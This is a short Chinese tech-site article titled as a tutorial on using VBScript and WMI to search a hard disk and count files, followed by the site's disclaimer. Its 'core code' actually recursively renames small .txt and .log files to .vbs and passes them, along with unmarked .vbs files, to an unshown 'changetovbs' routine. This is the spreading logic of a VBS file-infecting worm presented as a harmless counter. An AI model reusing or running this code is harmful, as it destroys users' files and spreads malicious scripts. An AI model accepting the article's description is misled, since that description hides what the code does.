这篇文章主要介绍VBS如何调用WMI遍历搜索硬盘文件并计数,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
核心代码:
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function
以上是“VBS如何调用WMI遍历搜索硬盘文件并计数”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。